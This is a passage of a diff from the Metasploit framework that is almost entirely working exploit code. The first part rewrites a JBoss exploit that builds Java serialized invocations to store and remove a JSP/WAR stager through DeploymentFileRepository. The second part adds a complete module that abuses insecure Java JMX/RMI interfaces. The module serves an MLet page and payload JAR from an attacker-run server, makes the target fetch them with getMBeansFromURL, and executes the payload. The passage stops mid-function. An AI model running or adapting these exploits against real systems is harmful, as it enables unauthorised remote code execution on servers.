res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
|
@ -281,17 +297,17 @@ EOT
|
|||
end
|
||||
|
||||
msg = nil
|
||||
if (!res)
|
||||
if res.nil?
|
||||
msg = "Execution failed on #{uri} [No Response]"
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
elsif res.code < 200 || res.code >= 300
|
||||
msg = "http request failed to #{uri} [#{res.code}]"
|
||||
elsif (res.code == 200)
|
||||
elsif res.code == 200
|
||||
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
|
||||
return res
|
||||
end
|
||||
|
||||
if (attempt < num_attempts - 1)
|
||||
msg << ", retrying in 5 seconds..."
|
||||
if attempt < num_attempts - 1
|
||||
msg << ', retrying in 5 seconds...'
|
||||
print_status(msg) if datastore['VERBOSE']
|
||||
select(nil, nil, nil, 5)
|
||||
else
|
||||
|
@ -303,12 +319,12 @@ EOT
|
|||
|
||||
|
||||
def auto_target
|
||||
print_status("Attempting to automatically select a target")
|
||||
print_status('Attempting to automatically select a target')
|
||||
|
||||
plat = detect_platform()
|
||||
arch = detect_architecture()
|
||||
plat = detect_platform
|
||||
arch = detect_architecture
|
||||
|
||||
return nil if (not arch or not plat)
|
||||
return nil unless arch && plat
|
||||
|
||||
# see if we have a match
|
||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
||||
|
@ -317,37 +333,408 @@ EOT
|
|||
return nil
|
||||
end
|
||||
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform
|
||||
print_status("Attempting to automatically detect the platform")
|
||||
res = send_serialized_request("osname.bin")
|
||||
print_status('Attempting to automatically detect the platform')
|
||||
res = send_serialized_request('osname')
|
||||
|
||||
if (res.body =~ /(Linux|FreeBSD|Windows)/i)
|
||||
if res.body =~ /(Linux|FreeBSD|Windows)/i
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
if os =~ /Linux/i
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
elsif os =~ /FreeBSD/i
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
elsif os =~ /Windows/i
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Try to autodetect the architecture
|
||||
def detect_architecture()
|
||||
print_status("Attempting to automatically detect the architecture")
|
||||
res = send_serialized_request("osarch.bin")
|
||||
if (res.body =~ /(i386|x86)/i)
|
||||
def detect_architecture
|
||||
print_status('Attempting to automatically detect the architecture')
|
||||
res = send_serialized_request('osarch')
|
||||
if res.body =~ /(i386|x86)/i
|
||||
arch = $1
|
||||
if (arch =~ /i386|x86/i)
|
||||
if arch =~ /i386|x86/i
|
||||
return ARCH_X86
|
||||
# TODO, more
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def build_get_version
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
object_array = builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
values: [
|
||||
builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf,
|
||||
flags: 3,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server')
|
||||
],
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = []
|
||||
stream.contents << object_array
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version')
|
||||
|
||||
build_invocation(stream)
|
||||
end
|
||||
|
||||
def build_get_os
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
object_array = builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
values: [
|
||||
builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf,
|
||||
flags: 3,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
|
||||
],
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = []
|
||||
stream.contents << object_array
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName')
|
||||
|
||||
build_invocation(stream)
|
||||
end
|
||||
|
||||
def build_get_arch
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
object_array = builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
values: [
|
||||
builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf,
|
||||
flags: 3,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
|
||||
],
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = []
|
||||
stream.contents << object_array
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch')
|
||||
|
||||
build_invocation(stream)
|
||||
end
|
||||
|
||||
def build_install_stager(opts = {})
|
||||
war_name = "#{opts[:war_name]}.war"
|
||||
jsp_name = opts[:jsp_name] || ''
|
||||
extension = opts[:extension] || '.jsp'
|
||||
data = opts[:data] || ''
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
object_array = builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
values: [
|
||||
builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf,
|
||||
flags: 3,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'store')
|
||||
],
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
values_array = builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, war_name),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, jsp_name),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, extension),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, data),
|
||||
builder.new_object(
|
||||
name: 'java.lang.Boolean',
|
||||
serial: 0xcd207280d59cfaee,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
fields: [['boolean', 'value']],
|
||||
data: [['boolean', 0]]
|
||||
)
|
||||
],
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
types_array = builder.new_array(
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'boolean')
|
||||
],
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = []
|
||||
stream.contents << object_array
|
||||
stream.contents << values_array
|
||||
stream.contents << types_array
|
||||
|
||||
build_invocation_deploy(stream)
|
||||
end
|
||||
|
||||
def build_delete_stager_file(opts = {})
|
||||
dir = opts[:dir] || ''
|
||||
file = opts[:file] || ''
|
||||
extension = opts[:extension] || '.jsp'
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
object_array = builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
values: [
|
||||
builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf,
|
||||
flags: 3,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'remove')
|
||||
],
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
values_array = builder.new_array(
|
||||
values_type: 'java.lang.Object;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, dir),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, file),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, extension)
|
||||
],
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
types_array = builder.new_array(
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String')
|
||||
],
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = []
|
||||
stream.contents << object_array
|
||||
stream.contents << values_array
|
||||
stream.contents << types_array
|
||||
|
||||
build_invocation_deploy(stream)
|
||||
end
|
||||
|
||||
def build_invocation(stream_argument)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = []
|
||||
|
||||
null_stream = build_null_stream
|
||||
null_stream_enc = null_stream.encode
|
||||
null_stream_value = [null_stream_enc.length].pack('N')
|
||||
null_stream_value << null_stream_enc
|
||||
null_stream_value << "\xfb\x57\xa7\xaa"
|
||||
|
||||
stream_argument_enc = stream_argument.encode
|
||||
stream_argument_value = [stream_argument_enc.length].pack('N')
|
||||
stream_argument_value << stream_argument_enc
|
||||
stream_argument_value << "\x7b\x87\xa0\xfb"
|
||||
|
||||
stream.contents << build_marshalled_invocation
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf")
|
||||
stream.contents << build_integer(647347722)
|
||||
stream.contents << build_marshalled_value
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
|
||||
stream.contents << build_invocation_key(5)
|
||||
stream.contents << build_marshalled_value
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02")
|
||||
stream.contents << build_invocation_key(4)
|
||||
stream.contents << build_invocation_type(1)
|
||||
stream.contents << build_invocation_key(10)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def build_invocation_deploy(stream_argument)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = []
|
||||
|
||||
null_stream = build_null_stream
|
||||
null_stream_enc = null_stream.encode
|
||||
null_stream_value = [null_stream_enc.length].pack('N')
|
||||
null_stream_value << null_stream_enc
|
||||
null_stream_value << "\xfb\x57\xa7\xaa"
|
||||
|
||||
stream_argument_enc = stream_argument.encode
|
||||
stream_argument_value = [stream_argument_enc.length].pack('N')
|
||||
stream_argument_value << stream_argument_enc
|
||||
stream_argument_value << "\x7b\x87\xa0\xfb"
|
||||
|
||||
stream.contents << build_marshalled_invocation
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87")
|
||||
stream.contents << build_integer(647347722)
|
||||
stream.contents << build_marshalled_value
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
|
||||
stream.contents << build_invocation_key(5)
|
||||
stream.contents << build_marshalled_value
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03")
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME')
|
||||
stream.contents << builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf,
|
||||
flags: 3,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository')
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << build_invocation_key(4)
|
||||
stream.contents << build_invocation_type(1)
|
||||
stream.contents << build_invocation_key(10)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def build_marshalled_invocation
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
builder.new_object(
|
||||
name: 'org.jboss.invocation.MarshalledInvocation',
|
||||
serial: 0xf6069527413ea4be,
|
||||
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
end
|
||||
|
||||
def build_marshalled_value
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
builder.new_object(
|
||||
name: 'org.jboss.invocation.MarshalledValue',
|
||||
serial: 0xeacce0d1f44ad099,
|
||||
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
)
|
||||
end
|
||||
|
||||
def build_invocation_key(ordinal)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
builder.new_object(
|
||||
name: 'org.jboss.invocation.InvocationKey',
|
||||
serial: 0xb8fb7284d79385f9,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
fields: [
|
||||
['int', 'ordinal']
|
||||
],
|
||||
data:[
|
||||
['int', ordinal]
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def build_invocation_type(ordinal)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
builder.new_object(
|
||||
name: 'org.jboss.invocation.InvocationType',
|
||||
serial: 0x59a73a1ca52b7cbf,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
fields: [
|
||||
['int', 'ordinal']
|
||||
],
|
||||
data:[
|
||||
['int', ordinal]
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def build_integer(value)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
builder.new_object(
|
||||
name: 'java.lang.Integer',
|
||||
serial: 0x12e2a0a4f7818738,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
super_class: builder.new_class(
|
||||
name: 'java.lang.Number',
|
||||
serial: 0x86ac951d0b94e08b,
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
),
|
||||
fields: [
|
||||
['int', 'value']
|
||||
],
|
||||
data:[
|
||||
['int', value]
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def build_null_stream
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents = [Rex::Java::Serialization::Model::NullReference.new]
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,369 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Java::Jmx
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Java::Rmi::Client
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
|
||||
'Description' => %q{
|
||||
This module takes advantage a Java JMX interface insecure configuration, which would
|
||||
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
|
||||
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
|
||||
interfaces with authentication enabled will be vulnerable only if a weak configuration
|
||||
is deployed (allowing to use javax.management.loading.MLet, having a security manager
|
||||
allowing to load a ClassLoader MBean, etc.).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Braden Thomas', # Attack vector discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
|
||||
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
|
||||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Privileged' => false,
|
||||
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 22 2013'
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(1617)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /mlet$/
|
||||
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
|
||||
|
||||
mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "
|
||||
mlet << "archive=\"#{jar}\" "
|
||||
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
|
||||
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
|
||||
send_response(cli, mlet,
|
||||
{
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
'Pragma' => 'no-cache'
|
||||
})
|
||||
|
||||
print_status("Replied to request for mlet")
|
||||
elsif request.uri =~ /\.jar$/i
|
||||
p = regenerate_payload(cli)
|
||||
jar = p.encoded_jar
|
||||
paths = [
|
||||
["metasploit", "JMXPayloadMBean.class"],
|
||||
["metasploit", "JMXPayload.class"],
|
||||
]
|
||||
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
|
||||
|
||||
send_response(cli, jar.pack,
|
||||
{
|
||||
'Content-Type' => 'application/java-archive',
|
||||
'Pragma' => 'no-cache'
|
||||
})
|
||||
|
||||
print_status("Replied to request for payload JAR")
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
|
||||
unless is_rmi?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
mbean_server = discover_endpoint
|
||||
disconnect
|
||||
if mbean_server.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
unless is_rmi?
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
jmx_endpoint = handshake(mbean_server)
|
||||
disconnect
|
||||
if jmx_endpoint.nil?
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
|
||||
connect
|
||||
|
||||
print_status("#{peer} - Sending RMI Header...")
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Discoverig the JMXRMI endpoint...")
|
||||
mbean_server = discover_endpoint
|
||||
disconnect
|
||||
if mbean_server.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
|
||||
else
|
||||
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
||||
end
|
||||
|
||||
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Proceeding with handshake...")
|
||||
jmx_endpoint = handshake(mbean_server)
|
||||
if jmx_endpoint.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
|
||||
else
|
||||
print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Loading payload...")
|
||||
unless load_payload(jmx_endpoint)
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
invoke_run_stream = invoke_stream(
|
||||
obj_id: jmx_endpoint[:id].chop,
|
||||
object: "#{@mlet}:name=jmxpayload,id=1",
|
||||
method: 'run'
|
||||
)
|
||||
send_call(call_data: invoke_run_stream)
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
def is_rmi?
|
||||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def discover_endpoint
|
||||
send_call(call_data: discovery_stream)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - Discovery request didn't answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected JMXRMI discovery answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
|
||||
else
|
||||
vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}")
|
||||
return nil
|
||||
end
|
||||
|
||||
mbean_server
|
||||
end
|
||||
|
||||
def handshake(mbean)
|
||||
vprint_status("#{peer} - Sending handshake / authentication...")
|
||||
|
||||
send_call(call_data: handshake_stream(mbean[:id].chop))
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - Failed to send handshake")
|
||||
return nil
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected handshake answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - JMX end point requires authentication, but it failed")
|
||||
return nil
|
||||
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
vprint_good("#{peer} - Handshake completed, proceeding...")
|
||||
conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
|
||||
else
|
||||
vprint_error("#{peer} - Handshake returned unexpected object #{answer}")
|
||||
return nil
|
||||
end
|
||||
|
||||
conn_stub
|
||||
end
|
||||
|
||||
def load_payload(conn_stub)
|
||||
vprint_status("#{peer} - Getting JMXPayload instance...")
|
||||
get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1")
|
||||
send_call(call_data: get_payload_instance)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - The request to getObjectInstance failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected getObjectInstance answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceNotFoundException'
|
||||
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
return load_payload_from_url(conn_stub)
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - JMXPayload instance found, using it")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def load_payload_from_url(conn_stub)
|
||||
vprint_status("Starting service...")
|
||||
start_service
|
||||
|
||||
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
|
||||
create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet')
|
||||
send_call(call_data: create_mbean)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - The request to createMBean failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected createMBean answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already exists")
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet created")
|
||||
when 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - The provided user hasn't enough privileges")
|
||||
return false
|
||||
else
|
||||
vprint_error("#{peer} - createMBean returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
||||
get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
|
||||
send_call(call_data: get_mlet_instance)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - The request to getObjectInstance failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected getObjectInstance answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already found")
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet instance created")
|
||||
else
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
|
||||
|
||||
invoke_mlet_get_mbean_from_url = invoke_stream(
|
||||
obj_id: conn_stub[:id].chop,
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => "#{get_uri}/mlet" }
|
||||
)
|
||||
send_call(call_data: invoke_mlet_get_mbean_from_url)
|
||||
return_data = recv_return
|
||||
|
||||
vprint_status("Stopping service...")
|
||||
stop_service
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - The call to getMBeansFromURL failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 3)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
